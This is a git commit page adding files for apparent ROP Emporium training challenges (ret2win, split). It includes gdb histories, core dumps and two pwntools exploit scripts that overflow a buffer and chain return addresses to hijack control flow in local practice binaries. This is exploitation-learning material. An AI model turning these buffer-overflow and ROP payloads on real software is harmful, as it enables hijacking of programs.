new file: x86_64/ret2win/.gdb_history
new file: x86_64/ret2win/core new file: x86_64/ret2win/exploit.py new file: x86_64/split/.gdb_history new file: x86_64/split/core new file: x86_64/split/core.split.25050 new file: x86_64/split/exploit.py new file: x86_64/split/fuckyou new file: x86_64/split/xaa
This commit is contained in:
parent
c9f44615e7
commit
ae586f332c
6
x86_64/ret2win/.gdb_history
Normal file
6
x86_64/ret2win/.gdb_history
Normal file
@ -0,0 +1,6 @@
|
||||
starti
|
||||
context
|
||||
nexti
|
||||
break main
|
||||
continue
|
||||
q
|
BIN
x86_64/ret2win/core
Normal file
BIN
x86_64/ret2win/core
Normal file
Binary file not shown.
13
x86_64/ret2win/exploit.py
Executable file
13
x86_64/ret2win/exploit.py
Executable file
@ -0,0 +1,13 @@
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
|
||||
prog = process('./ret2win')
|
||||
payload = b''
|
||||
for c in range(40):
|
||||
payload += b'a'
|
||||
|
||||
payload += p64(0x0000000000400756)
|
||||
payload += b"\n"
|
||||
prog.sendline(payload)
|
||||
sleep(1)
|
||||
print(str(prog.recv(), 'UTF-8'))
|
256
x86_64/split/.gdb_history
Normal file
256
x86_64/split/.gdb_history
Normal file
@ -0,0 +1,256 @@
|
||||
print (char)usefulString
|
||||
print (char&)usefulString
|
||||
print (char*)usefulString
|
||||
print (char)*usefulString
|
||||
print (charusefulString
|
||||
print (char)usefulString
|
||||
print (char*)usefulString
|
||||
print (char)*usefulString
|
||||
quit
|
||||
exit
|
||||
quit
|
||||
nexti
|
||||
exit
|
||||
quit
|
||||
exit
|
||||
quit
|
||||
quit
|
||||
exit
|
||||
quit
|
||||
context
|
||||
next
|
||||
continue
|
||||
context
|
||||
quit
|
||||
nexti
|
||||
continu
|
||||
context
|
||||
q
|
||||
context
|
||||
run
|
||||
break main
|
||||
continue
|
||||
context
|
||||
nexti
|
||||
backtrace
|
||||
set exception-debugger on
|
||||
continue
|
||||
quit
|
||||
stepi
|
||||
ret
|
||||
return
|
||||
stepi
|
||||
break
|
||||
delete
|
||||
run
|
||||
continue
|
||||
clear
|
||||
delete
|
||||
continue
|
||||
clear
|
||||
delete
|
||||
continue
|
||||
delete 0x7f992453fece
|
||||
delete 0
|
||||
delete 1
|
||||
delete 2
|
||||
delete 3
|
||||
quit
|
||||
continue
|
||||
context
|
||||
q
|
||||
context
|
||||
q
|
||||
quit
|
||||
continue
|
||||
context
|
||||
continue
|
||||
q
|
||||
q
|
||||
break main
|
||||
continue
|
||||
context
|
||||
nexti
|
||||
stepi
|
||||
quit
|
||||
break main
|
||||
run
|
||||
conitnue
|
||||
continue
|
||||
context
|
||||
stepi
|
||||
nexti
|
||||
stepi
|
||||
return
|
||||
stepi
|
||||
return
|
||||
stepi
|
||||
ret
|
||||
return
|
||||
stepi
|
||||
return
|
||||
stepi
|
||||
stepi
|
||||
info breakpoints
|
||||
stepi
|
||||
return
|
||||
stepi
|
||||
nexti
|
||||
break 0x400706
|
||||
break *0x400706
|
||||
quit
|
||||
continue
|
||||
context
|
||||
q
|
||||
continue
|
||||
context
|
||||
continue
|
||||
quit
|
||||
continue
|
||||
continue
|
||||
quit
|
||||
continue
|
||||
context
|
||||
quit
|
||||
continue
|
||||
quit
|
||||
exit
|
||||
quit
|
||||
nexti
|
||||
continue
|
||||
quit
|
||||
continue
|
||||
quit
|
||||
break pwnme
|
||||
nexti
|
||||
continue
|
||||
bexti
|
||||
nexti
|
||||
quit
|
||||
quit
|
||||
continue
|
||||
quit
|
||||
continue
|
||||
nexti
|
||||
quit
|
||||
continue
|
||||
q
|
||||
continue
|
||||
quit
|
||||
continue
|
||||
[
|
||||
quit
|
||||
start < fuckyou
|
||||
continue
|
||||
q
|
||||
break *0x0x000000000040074b
|
||||
break *0x000000000040074b
|
||||
run < fuckyou
|
||||
context
|
||||
x/s 0x7fffffffdb20
|
||||
x/s 0x7fffffffdb20 - 20
|
||||
x/s 0x7fffffffdb2
|
||||
quit
|
||||
break *0x000000000040074b
|
||||
run < fuckyou
|
||||
context
|
||||
x/s 0x7fffffffdb20
|
||||
x/s 0x7fffffffdb20 - 8
|
||||
x/s 0x7fffffffdb20
|
||||
x/s 0x7fffffffdb20 - 8
|
||||
x/s 0x7fffffffdb20 + 8
|
||||
quit
|
||||
quit
|
||||
run < fuckyou
|
||||
quit
|
||||
break *0x000000000040074b
|
||||
run < fuckyou
|
||||
context
|
||||
stepi
|
||||
q
|
||||
break *0x000000000040074b
|
||||
run < fuckyou
|
||||
context
|
||||
q
|
||||
break *0x000000000040074b
|
||||
run < fuckyou
|
||||
context
|
||||
x 0x7fffffffdb20-8
|
||||
x 0x7ffff7fad800
|
||||
q
|
||||
break pwnme
|
||||
run < fuckyou
|
||||
nexti
|
||||
q
|
||||
break pwnme
|
||||
run
|
||||
q
|
||||
break pwnme
|
||||
run < fuckyou
|
||||
context
|
||||
nexti
|
||||
q
|
||||
break pwnme
|
||||
run < fuckyou
|
||||
nexti
|
||||
x/100c 0x7ffff7fad800
|
||||
context
|
||||
nexti
|
||||
quit
|
||||
break *0x00000000004007c3
|
||||
run < fuckyou
|
||||
context
|
||||
nexti
|
||||
stepi
|
||||
q
|
||||
break pwnme
|
||||
start < fuckyou
|
||||
context
|
||||
stepi
|
||||
return
|
||||
context
|
||||
break pwnme
|
||||
continue
|
||||
q
|
||||
break pwnme
|
||||
run < fuckyou
|
||||
context
|
||||
nexti
|
||||
stepi
|
||||
q
|
||||
continue
|
||||
quit
|
||||
continue
|
||||
[A
|
||||
quit
|
||||
q
|
||||
info break
|
||||
nexti
|
||||
break main
|
||||
continue
|
||||
nexti
|
||||
return
|
||||
nexti
|
||||
continue
|
||||
continue
|
||||
continue
|
||||
continue
|
||||
continue
|
||||
continue
|
||||
continue
|
||||
continue
|
||||
continue
|
||||
continue
|
||||
continue
|
||||
continue
|
||||
continue
|
||||
continue
|
||||
continue
|
||||
q
|
||||
continue
|
||||
nexti
|
||||
q
|
||||
continue
|
||||
nexti
|
||||
continue
|
||||
quit
|
BIN
x86_64/split/core
Normal file
BIN
x86_64/split/core
Normal file
Binary file not shown.
BIN
x86_64/split/core.split.25050
Normal file
BIN
x86_64/split/core.split.25050
Normal file
Binary file not shown.
17
x86_64/split/exploit.py
Executable file
17
x86_64/split/exploit.py
Executable file
@ -0,0 +1,17 @@
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
|
||||
|
||||
context.binary = "./split"
|
||||
prog = process('./split')
|
||||
payload = b''
|
||||
|
||||
for c in range(40): #originally 40
|
||||
payload += b'a'
|
||||
|
||||
payload += p64(0x00000000004007c3)
|
||||
payload += p64(0x0000000000601060) # usefulString
|
||||
payload += p64(0x000000000040074b) # usefulFunction + offset
|
||||
|
||||
prog.sendline(payload)
|
||||
prog.interactive()
|
BIN
x86_64/split/fuckyou
Normal file
BIN
x86_64/split/fuckyou
Normal file
Binary file not shown.
BIN
x86_64/split/xaa
Normal file
BIN
x86_64/split/xaa
Normal file
Binary file not shown.
Loading…
x
Reference in New Issue
Block a user